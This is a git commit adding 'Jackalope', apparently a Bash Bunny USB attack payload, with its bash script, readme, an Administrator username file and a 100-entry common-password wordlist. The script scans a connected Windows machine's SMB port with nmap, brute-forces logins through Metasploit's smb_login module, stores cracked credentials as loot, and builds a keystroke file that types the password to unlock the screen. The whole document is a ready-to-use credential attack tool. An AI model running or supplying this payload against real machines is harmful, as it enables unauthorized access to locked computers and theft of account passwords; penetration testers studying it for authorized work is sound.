Add Jackalope (#380)
* Adding Jackalope, a Bunny+Metasploit chimera project. * Fixing inaccurate documentation. * Generate the password entry payload on the alternate switch. * Additional documentation concerning alternate payload mechanism. * Branding * Update readme.md * rearchitecting payload to be independent. No longer overwrites alternate payload location. Uses WAIT interface to interact with the tester to reuse a password, clear the password, and re-attack the machine.pull/381/head
parent
6760498c27
commit
f171837db2
|
@ -0,0 +1,118 @@
|
||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Title: Jackalope
|
||||||
|
# Author: catatonic
|
||||||
|
# Version: 1.1.0
|
||||||
|
|
||||||
|
# Check readiness & prepare environment
|
||||||
|
LED SETUP
|
||||||
|
|
||||||
|
# REQUIRE-TOOL metasploit-framework
|
||||||
|
ATTACKMODE HID RNDIS_ETHERNET
|
||||||
|
|
||||||
|
# Ensure loot is available for recording results.
|
||||||
|
mount /dev/nandf /root/udisk/
|
||||||
|
|
||||||
|
ORIGINAL_SWITCH=$SWITCH_POSITION
|
||||||
|
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
|
||||||
|
LOOTBASE=/root/udisk/loot/Jackalope/
|
||||||
|
|
||||||
|
# SETUP
|
||||||
|
GET TARGET_IP
|
||||||
|
GET TARGET_HOSTNAME
|
||||||
|
|
||||||
|
COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)
|
||||||
|
COUNT=$((COUNT+1))
|
||||||
|
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT
|
||||||
|
mkdir -p $LOOTDIR
|
||||||
|
|
||||||
|
source /etc/profile.d/rvm.sh
|
||||||
|
rvm --default use 2.6.2 >> $LOOTDIR/log.txt
|
||||||
|
MSF_DIR=/tools/metasploit-framework
|
||||||
|
|
||||||
|
# Save environment informaiton:
|
||||||
|
echo "PAYLOAD_DIR: $PAYLOAD_DIR" >> $LOOTDIR/log.txt
|
||||||
|
echo "MSF_DIR: $MSF_DIR" >> $LOOTDIR/log.txt
|
||||||
|
echo "LOOTDIR: $LOOTDIR" >> $LOOTDIR/log.txt
|
||||||
|
echo "TARGET_IP: $TARGET_IP" >> $LOOTDIR/log.txt
|
||||||
|
echo "TARGET_HOSTNAME: $TARGET_HOSTNAME" >> $LOOTDIR/log.txt
|
||||||
|
|
||||||
|
SYNC ()
|
||||||
|
{
|
||||||
|
sync; sleep 1; sync
|
||||||
|
}
|
||||||
|
CLEAR_PW()
|
||||||
|
{
|
||||||
|
LED SPECIAL
|
||||||
|
rm $PAYLOAD_DIR/quack_pass.txt
|
||||||
|
SYNC
|
||||||
|
WAIT
|
||||||
|
}
|
||||||
|
ENTER_PW()
|
||||||
|
{
|
||||||
|
sleep 1
|
||||||
|
QUACK $ORIGINAL_SWITCH/quack_pass.txt
|
||||||
|
QUACK ENTER
|
||||||
|
}
|
||||||
|
RECON()
|
||||||
|
{
|
||||||
|
ATTACKMODE RNDIS_ETHERNET
|
||||||
|
# Stage 1: Recon
|
||||||
|
LED STAGE1
|
||||||
|
echo "Executing nmap..." >> $LOOTDIR/log.txt
|
||||||
|
nmap -p 445 -Pn $TARGET_IP > $LOOTDIR/nmap_results.txt
|
||||||
|
if ! grep --quiet "445.*open" $LOOTDIR/nmap_results.txt;
|
||||||
|
then
|
||||||
|
LED FAIL2
|
||||||
|
SYNC
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
EXPLOIT()
|
||||||
|
{
|
||||||
|
# Stage 2: Exploit
|
||||||
|
LED STAGE2
|
||||||
|
export HOME=/root
|
||||||
|
cd $MSF_DIR
|
||||||
|
./msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit" > $LOOTDIR/msfconsole.txt
|
||||||
|
|
||||||
|
if ! grep --quiet "^\[+\]" $LOOTDIR/msfconsole.txt;
|
||||||
|
then
|
||||||
|
LED FAIL
|
||||||
|
echo "Payload failed, no logins found..." >> $LOOTDIR/log.txt
|
||||||
|
SYNC
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 1 | cut -d "'" -f 2 > $LOOTDIR/user.txt
|
||||||
|
grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 2 | cut -d "'" -f 1 > $LOOTDIR/password.txt
|
||||||
|
|
||||||
|
# Focus needs to be set on the password field manually.
|
||||||
|
echo -n "STRING " > $PAYLOAD_DIR/quack_pass.txt
|
||||||
|
cat $LOOTDIR/password.txt >> $PAYLOAD_DIR/quack_pass.txt
|
||||||
|
|
||||||
|
SYNC
|
||||||
|
}
|
||||||
|
|
||||||
|
# High level view.
|
||||||
|
while true
|
||||||
|
do
|
||||||
|
if [ -f $PAYLOAD_DIR/quack_pass.txt ];
|
||||||
|
then
|
||||||
|
LED FINISH
|
||||||
|
else
|
||||||
|
RECON
|
||||||
|
EXPLOIT
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
WAIT
|
||||||
|
|
||||||
|
# User's choice, clear old password or enter password.
|
||||||
|
if [ "$SWITCH_POSITION" == "switch3" ];
|
||||||
|
then
|
||||||
|
CLEAR_PW
|
||||||
|
else
|
||||||
|
ENTER_PW
|
||||||
|
fi
|
||||||
|
done
|
|
@ -0,0 +1,49 @@
|
||||||
|
# Jackalope
|
||||||
|
```
|
||||||
|
`\ # # /'
|
||||||
|
| \ # # /;|
|
||||||
|
\ :\# #|; /
|
||||||
|
\./#_#\./
|
||||||
|
/ \
|
||||||
|
: O O "
|
||||||
|
| \ / |
|
||||||
|
\ v /
|
||||||
|
\_x_/
|
||||||
|
|
||||||
|
Jackalope
|
||||||
|
by: catatonic
|
||||||
|
```
|
||||||
|
* Author: catatonic
|
||||||
|
* Target: Windows (for now)
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered a payload is automatically generated and placed in the alternate switch location. This alternate payload may be used to unlock the machine by:
|
||||||
|
|
||||||
|
1. Checking loot OR...
|
||||||
|
2. Manually select user/password at login screen
|
||||||
|
3. Flip switch to alternate payload to enter password
|
||||||
|
|
||||||
|
To clear an already identified password from a GREEN status light, flip the switch to switch3 (arming) and the status light will change to SPECIAL (cyan).
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
No initial configuration is required for bunny firmware v1.6+.
|
||||||
|
|
||||||
|
### Per attack configuration
|
||||||
|
1. userlist.txt contains usernames to use in attack.
|
||||||
|
2. wordlist.txt contains passwords to use in attack.
|
||||||
|
|
||||||
|
Note: A fantastic collection of password wordlists are available: [SecLists](https://github.com/danielmiessler/SecLists)
|
||||||
|
|
||||||
|
## STATUS
|
||||||
|
|
||||||
|
| LED | Status |
|
||||||
|
| ----------------------- | ---------------------------------------------- |
|
||||||
|
| FAIL | Attack failed, username/password not found |
|
||||||
|
| FAIL2 | Attack failed, network inaccessible |
|
||||||
|
| STAGE 1 | Stage 1: checking for SMB port with nmap |
|
||||||
|
| STAGE 2 | Stage 2: Brute forcing |
|
||||||
|
| Green (solid) | Attack complete, check loot or flip switch to switch1 or switch2 to enter password. Flip switch to switch3 (arming) to clear password. |
|
||||||
|
| SPECIAL | Clearing/cleared password, flip switch to switch 1 or switch 2 to initiate attack. |
|
||||||
|
| Purple (solid) | Preparing to attack |
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
Administrator
|
|
@ -0,0 +1,100 @@
|
||||||
|
123456
|
||||||
|
password
|
||||||
|
12345678
|
||||||
|
qwerty
|
||||||
|
123456789
|
||||||
|
12345
|
||||||
|
1234
|
||||||
|
111111
|
||||||
|
1234567
|
||||||
|
dragon
|
||||||
|
123123
|
||||||
|
baseball
|
||||||
|
abc123
|
||||||
|
football
|
||||||
|
monkey
|
||||||
|
letmein
|
||||||
|
696969
|
||||||
|
shadow
|
||||||
|
master
|
||||||
|
666666
|
||||||
|
qwertyuiop
|
||||||
|
123321
|
||||||
|
mustang
|
||||||
|
1234567890
|
||||||
|
michael
|
||||||
|
654321
|
||||||
|
pussy
|
||||||
|
superman
|
||||||
|
1qaz2wsx
|
||||||
|
7777777
|
||||||
|
fuckyou
|
||||||
|
121212
|
||||||
|
000000
|
||||||
|
qazwsx
|
||||||
|
123qwe
|
||||||
|
killer
|
||||||
|
trustno1
|
||||||
|
jordan
|
||||||
|
jennifer
|
||||||
|
zxcvbnm
|
||||||
|
asdfgh
|
||||||
|
hunter
|
||||||
|
buster
|
||||||
|
soccer
|
||||||
|
harley
|
||||||
|
batman
|
||||||
|
andrew
|
||||||
|
tigger
|
||||||
|
sunshine
|
||||||
|
iloveyou
|
||||||
|
fuckme
|
||||||
|
2000
|
||||||
|
charlie
|
||||||
|
robert
|
||||||
|
thomas
|
||||||
|
hockey
|
||||||
|
ranger
|
||||||
|
daniel
|
||||||
|
starwars
|
||||||
|
klaster
|
||||||
|
112233
|
||||||
|
george
|
||||||
|
asshole
|
||||||
|
computer
|
||||||
|
michelle
|
||||||
|
jessica
|
||||||
|
pepper
|
||||||
|
1111
|
||||||
|
zxcvbn
|
||||||
|
555555
|
||||||
|
11111111
|
||||||
|
131313
|
||||||
|
freedom
|
||||||
|
777777
|
||||||
|
pass
|
||||||
|
fuck
|
||||||
|
maggie
|
||||||
|
159753
|
||||||
|
aaaaaa
|
||||||
|
ginger
|
||||||
|
princess
|
||||||
|
joshua
|
||||||
|
cheese
|
||||||
|
amanda
|
||||||
|
summer
|
||||||
|
love
|
||||||
|
ashley
|
||||||
|
6969
|
||||||
|
nicole
|
||||||
|
chelsea
|
||||||
|
biteme
|
||||||
|
matthew
|
||||||
|
access
|
||||||
|
yankees
|
||||||
|
987654321
|
||||||
|
dallas
|
||||||
|
austin
|
||||||
|
thunder
|
||||||
|
taylor
|
||||||
|
matrix
|
Loading…
Reference in New Issue